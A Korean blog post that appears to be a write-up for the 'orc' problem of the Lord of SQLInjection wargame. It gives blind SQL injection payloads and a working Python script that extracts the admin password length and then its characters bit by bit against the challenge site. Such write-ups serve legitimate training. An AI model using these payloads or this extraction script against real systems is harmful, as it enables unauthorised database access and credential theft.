본문 바로가기
CTF/los

[CTF] Lord of SQLInjection 4번 orc Write-Up

by spareone 2026. 3. 10.

los 4번 orc Write-Up 입니다.


[그림 1] 문제 메인 페이지

코드를 자세히 보면 쿼리가 2개 있습니다.

select id from prob_orc where id='admin' and pw=''
select pw from prob_orc where id='admin' and pw=''

위는 id column를 선택, 아래는 pw column를 선택하는 쿼리입니다.

id는 무난하게 통과가 될 수 있으나, pw의 경우 입력 값에 addslashes()가 되어 (‘ -> \’가 됨) 인젝션을 방해하고 있습니다.

보기에는 addslashes()의 취약점을 이용하는 문제로 보이나… 사실 blind SQL Injection 문제입니다.

select id from prob_orc where id='admin' and pw='' or id='admin' and length(pw)=8#'

일단 아래 쿼리는 무시하고, 이렇게 데이터를 전달해 봅니다.

이렇게 되면 or 앞의 조건이 false라 무시되며, 뒤의 조건에 맞는 레코드를 불러오게 됩니다.

[그림 2] pw 길이를 알아 낸 모습

길이를 알아보기 위해 1부터 차례로 입력해 보면, 8에서 true가 되어 Hello admin이 출력됩니다.

admin의 pw는 8글자임을 알게 되었습니다.

 

import requests

def func():
    URL = 'https://los.rubiya.kr/chall/orc_60e5b360f95c1f9688e4f3a86c5dd494.php'
    cookie = {
        'PHPSESSID' : "Session 값 입력"
    }

    flag_len = 0
    while(True):
        flag_len += 1
        params = {
            'pw' : f"' or id='admin' and length(pw)={flag_len}#"
        }
        response = requests.get(URL, params=params, cookies=cookie)
        if "Hello" in response.text[:1000]:
            break

    print(f"flag len : {flag_len}")

    ans = ''
    n = [1, 2, 4, 8, 16, 32, 64]
    for i in range(flag_len):
        res = 0
        for j in n:
            params = {
                'pw' : f"' or id='admin' and ascii(substr(pw,{i+1},1))&{j}={j}#"
            }
            response = requests.get(URL, params=params, cookies=cookie)
            if "Hello" in response.text[:1000]:
                res += j
        ans += chr(res)
    
    return ans

if __name__ == "__main__":
    print(func())

 

자동화 코드를 작성하여 pw를 알아낼 수 있습니다.

다만 los 로그인을 해야 문제에 접근할 수 있기 때문에, 세션 값을 같이 전달해야 합니다.

[그림 3] 문제 정답 처리

PW를 알아내어 전달하면 문제가 정답처리 됩니다.

댓글